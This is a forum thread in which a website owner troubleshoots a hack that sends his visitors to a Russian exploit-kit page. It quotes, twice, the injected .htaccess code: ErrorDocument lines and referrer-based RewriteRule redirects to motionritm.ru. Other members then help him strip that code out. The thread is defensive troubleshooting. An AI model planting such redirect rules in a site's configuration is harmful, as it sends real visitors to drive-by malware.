Have I been hacked? or what is going on here?

17 replies
Okay, so I made a video for my list the other day and posted it as usual as an .html page with a video in the middle. Today, I received a bunch of emails from readers saying that they are getting sent to a Google search page.

I figured it was just a bad link I put up by accident. After reading the first email about it, I checked it on my phone last night. Everything looked fine. The video was playing and the link worked.

This morning I was still receiving emails about it so I checked on my laptop. My page immediately redirected me to this url:

http://motionritm.ru/acustic/index.php

And AVG popped up a warning message saying exploit black hole and it closed the page.

I went ahead and deleted the page that was screwing up. Even after this, it still sends me to the url above after typing it in.

www.trafficbombshell.com/nichebreakdown.html

I tried to change the html file into a redirect to send viewers to another page I put the video on and it still is happening.


What the hell is going on here? Is my one html page hacked or what?

Everything else looks fine so far. Anyone seen this before?

I don't even know where to start for fixing this problem. Sunday tech support isn't exactly my favorite friends

...sorry this is off topic, I'm sure someone will help me within 30 minutes on the forum and you can go ahead and be delete happy mods as usual ;-)
#hacked
  • Profile picture of the author Coby
    Holy Crap Travis!

    I'm not a security specialist - but something is definitely going wrong here buddy...

    Another friend had something similar happen to him recently, but deleting the page and re-coding it fixed the problem. But you already tried that...

    Eek!
    {{ DiscussionBoard.errors[4796694].message }}
  • Profile picture of the author johnben1444
    Did you create the site yourself? You might want to talk to your web designer or your hosting company for insight on this.
    Signature
    Grow your social media account, Spotify Streams, YT Views & IG Followers & More
    Software & Mobile APP Developer
    Buy Spotify, Facebook Bot & IG M/S Method
    {{ DiscussionBoard.errors[4796716].message }}
  • Profile picture of the author petelta
    I deleted the sucker and recoded it... but still the same problem. The page isn't even on my hosting account anymore, but that url still redirects to the random page.

    I did create the page myself... probably the 5,000th html page I've made over the past 15 years. I have my hosting on the phone...like I mentioned though, sunday tech support seems to be full of drunk people for some companies.

    Very strange stuff. Now, I get to spend my Sunday fixing problems... yay...
    Signature
    TEESPRING Student Rakes In Over $116k In Less Than 3 Months
    Niche Pro Profits - How I raked in OVER $120k in 9 months with authority niche sites...

    {{ DiscussionBoard.errors[4796741].message }}
    • Profile picture of the author petelta
      Originally Posted by Richard Odell View Post

      Have you editing the .htaccess file?

      Try using a program like FileZilla, it will show the file....
      I haven't touched it and not sure what i would do with it honestly.

      I'm not much of an expert in the coding... I've just been fooling around with it for 15 years.

      I literally created a video, made a 38 line HTML file, uploaded it, then sent traffic to it.

      Nothing more. The video and page worked fine when I looked at it last night. This morning different story.
      Signature
      TEESPRING Student Rakes In Over $116k In Less Than 3 Months
      Niche Pro Profits - How I raked in OVER $120k in 9 months with authority niche sites...

      {{ DiscussionBoard.errors[4796802].message }}
  • Profile picture of the author Toby Couchman
    Are you on windows? If so what version?

    You could have been hit by a virus that alters your hosts file so that your pc will always get redirected when you enter the URL.

    Let me know what operating system you run and I might be able to help you.

    Good luck
    TC
    {{ DiscussionBoard.errors[4796754].message }}
    • Profile picture of the author petelta
      Originally Posted by Toby Couchman View Post

      Are you on windows? If so what version?

      You could have been hit by a virus that alters your hosts file so that your pc will always get redirected when you enter the URL.

      Let me know what operating system you run and I might be able to help you.

      Good luck
      TC
      Hey TC,

      I'm on Windows XP on this laptop. The problem is my readers are getting redirected too... not just me.

      Not sure if that makes a difference to the scenario you are mentioning.

      Travis
      Signature
      TEESPRING Student Rakes In Over $116k In Less Than 3 Months
      Niche Pro Profits - How I raked in OVER $120k in 9 months with authority niche sites...

      {{ DiscussionBoard.errors[4796768].message }}
      • Profile picture of the author Toby Couchman
        Originally Posted by petelta View Post

        Hey TC,

        I'm on Windows XP on this laptop. The problem is my readers are getting redirected too... not just me.

        Not sure if that makes a difference to the scenario you are mentioning.

        Travis
        Yeah that is strange and I just tried the link on my Mac and got the same result. That rules out virus stuff phew

        I would try what Richard Odell said and look at the .htaccess file next.

        Is your Hosting using Cpanel? You can use the online filemanager to examine the .htaccess file and delete any suspicious 301 redirect lines.

        OR

        Download filezilla and use that to edit the .htaccess file.

        TC
        {{ DiscussionBoard.errors[4796834].message }}
  • Profile picture of the author PatrickP
    You deleted the page and the created it again using the exact same URL of
    www.trafficbombshell.com/nichebreakdown.html ?

    If so I would try renaming the page.
    Also switch to a better host company which has 24 hour online live support would be my suggestion as well.
    {{ DiscussionBoard.errors[4796799].message }}
    • Profile picture of the author petelta
      Originally Posted by PatrickP View Post

      You deleted the page and the created it again using the exact same URL of
      www.trafficbombshell.com/nichebreakdown.html ?

      If so I would try renaming the page.
      Also switch to a better host company which has 24 hour online live support would be my suggestion as well.
      I have deleted it and changed the name of the .html file. It works fine as do every other page...

      But that url you mention is still sending people to the "bad page".
      Signature
      TEESPRING Student Rakes In Over $116k In Less Than 3 Months
      Niche Pro Profits - How I raked in OVER $120k in 9 months with authority niche sites...

      {{ DiscussionBoard.errors[4796820].message }}
  • Profile picture of the author PatrickP
    Sorry not understanding.

    Was the name always www.trafficbombshell.com/nichebreakdown.html and you still have that on your site?

    Or was it something different and you changed it to www.trafficbombshell.com/nichebreakdown.html which redirects to Google search?
    {{ DiscussionBoard.errors[4796831].message }}
  • {{ DiscussionBoard.errors[4796853].message }}
  • Profile picture of the author petelta
    Yep, htaccess was the problem. How do I get my old file back? I'm not even sure what it's supposed to look like. I've never dealt much with htaccess files.

    Here is what my current file reads:

    # BEGIN WordPress
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
    </IfModule>
    # END WordPress

    ErrorDocument 400 http://motionritm.ru/acustic/index.php
    ErrorDocument 401 http://motionritm.ru/acustic/index.php
    ErrorDocument 403 http://motionritm.ru/acustic/index.php
    ErrorDocument 404 http://motionritm.ru/acustic/index.php
    ErrorDocument 500 http://motionritm.ru/acustic/index.php
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteCond %{HTTP_REFERER} .*google.* [OR]
    RewriteCond %{HTTP_REFERER} .*ask.* [OR]
    RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
    RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
    RewriteCond %{HTTP_REFERER} .*youtube.* [OR]
    RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]
    RewriteCond %{HTTP_REFERER} .*qq.* [OR]
    RewriteCond %{HTTP_REFERER} .*excite.* [OR]
    RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
    RewriteCond %{HTTP_REFERER} .*msn.* [OR]
    RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
    RewriteCond %{HTTP_REFERER} .*aol.* [OR]
    RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
    RewriteCond %{HTTP_REFERER} .*goto.* [OR]
    RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
    RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
    RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
    RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
    RewriteCond %{HTTP_REFERER} .*search.* [OR]
    RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
    RewriteCond %{HTTP_REFERER} .*bing.* [OR]
    RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]
    RewriteCond %{HTTP_REFERER} .*facebook.* [OR]
    RewriteCond %{HTTP_REFERER} .*twitter.* [OR]
    RewriteCond %{HTTP_REFERER} .*blog.* [OR]
    RewriteCond %{HTTP_REFERER} .*live.* [OR]
    RewriteCond %{HTTP_REFERER} .*myspace.* [OR]
    RewriteCond %{HTTP_REFERER} .*mail.* [OR]
    RewriteCond %{HTTP_REFERER} .*yandex.* [OR]
    RewriteCond %{HTTP_REFERER} .*rambler.* [OR]
    RewriteCond %{HTTP_REFERER} .*ya.* [OR]
    RewriteCond %{HTTP_REFERER} .*aport.* [OR]
    RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
    RewriteCond %{HTTP_REFERER} .*flickr.*
    RewriteRule ^(.*)$ http://motionritm.ru/acustic/index.php [R=301,L]
    </IfModule>
    Signature
    TEESPRING Student Rakes In Over $116k In Less Than 3 Months
    Niche Pro Profits - How I raked in OVER $120k in 9 months with authority niche sites...

    {{ DiscussionBoard.errors[4796945].message }}
    • Profile picture of the author sbucciarel
      Banned
      Originally Posted by petelta View Post

      Yep, htaccess was the problem. How do I get my old file back? I'm not even sure what it's supposed to look like. I've never dealt much with htaccess files.

      Here is what my current file reads:

      # BEGIN WordPress
      <IfModule mod_rewrite.c>
      RewriteEngine On
      RewriteBase /
      RewriteCond %{REQUEST_FILENAME} !-f
      RewriteCond %{REQUEST_FILENAME} !-d
      RewriteRule . /index.php [L]
      </IfModule>
      # END WordPress

      ErrorDocument 400 http://motionritm.ru/acustic/index.php
      ErrorDocument 401 http://motionritm.ru/acustic/index.php
      ErrorDocument 403 http://motionritm.ru/acustic/index.php
      ErrorDocument 404 http://motionritm.ru/acustic/index.php
      ErrorDocument 500 http://motionritm.ru/acustic/index.php
      <IfModule mod_rewrite.c>
      RewriteEngine On
      RewriteCond %{HTTP_REFERER} .*google.* [OR]
      RewriteCond %{HTTP_REFERER} .*ask.* [OR]
      RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
      RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
      RewriteCond %{HTTP_REFERER} .*youtube.* [OR]
      RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]
      RewriteCond %{HTTP_REFERER} .*qq.* [OR]
      RewriteCond %{HTTP_REFERER} .*excite.* [OR]
      RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
      RewriteCond %{HTTP_REFERER} .*msn.* [OR]
      RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
      RewriteCond %{HTTP_REFERER} .*aol.* [OR]
      RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
      RewriteCond %{HTTP_REFERER} .*goto.* [OR]
      RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
      RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
      RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
      RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
      RewriteCond %{HTTP_REFERER} .*search.* [OR]
      RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
      RewriteCond %{HTTP_REFERER} .*bing.* [OR]
      RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]
      RewriteCond %{HTTP_REFERER} .*facebook.* [OR]
      RewriteCond %{HTTP_REFERER} .*twitter.* [OR]
      RewriteCond %{HTTP_REFERER} .*blog.* [OR]
      RewriteCond %{HTTP_REFERER} .*live.* [OR]
      RewriteCond %{HTTP_REFERER} .*myspace.* [OR]
      RewriteCond %{HTTP_REFERER} .*mail.* [OR]
      RewriteCond %{HTTP_REFERER} .*yandex.* [OR]
      RewriteCond %{HTTP_REFERER} .*rambler.* [OR]
      RewriteCond %{HTTP_REFERER} .*ya.* [OR]
      RewriteCond %{HTTP_REFERER} .*aport.* [OR]
      RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
      RewriteCond %{HTTP_REFERER} .*flickr.*
      RewriteRule ^(.*)$ http://motionritm.ru/acustic/index.php [R=301,L]
      </IfModule>

      Keep this and delete the rest.

      # BEGIN WordPress
      <IfModule mod_rewrite.c>
      RewriteEngine On
      RewriteBase /
      RewriteCond %{REQUEST_FILENAME} !-f
      RewriteCond %{REQUEST_FILENAME} !-d
      RewriteRule . /index.php [L]
      </IfModule>
      # END WordPress
      {{ DiscussionBoard.errors[4796966].message }}
  • Profile picture of the author PatrickP
    Did that work?
    {{ DiscussionBoard.errors[7032776].message }}
  • Profile picture of the author Marakatapolis
    check the file permissions on your directories and the .htaccess file itself, make sure it is Read Only and NOT Write access!
    {{ DiscussionBoard.errors[7032937].message }}
  • Profile picture of the author Kingfish85
    Thread is over a year old with no further updates! I would hope they got it fixed by now! Look at the dates before posting..
    Signature

    |~| VeeroTech Hosting - sales @ veerotech.net
    |~| High Performance CloudLinux & LiteSpeed Powered Web Hosting
    |~| cPanel & WHM - Softaculous - Website Builder - R1Soft - SpamExperts
    |~| Visit us @veerotech Facebook - Twitter - LinkedIn

    {{ DiscussionBoard.errors[7033107].message }}

Trending Topics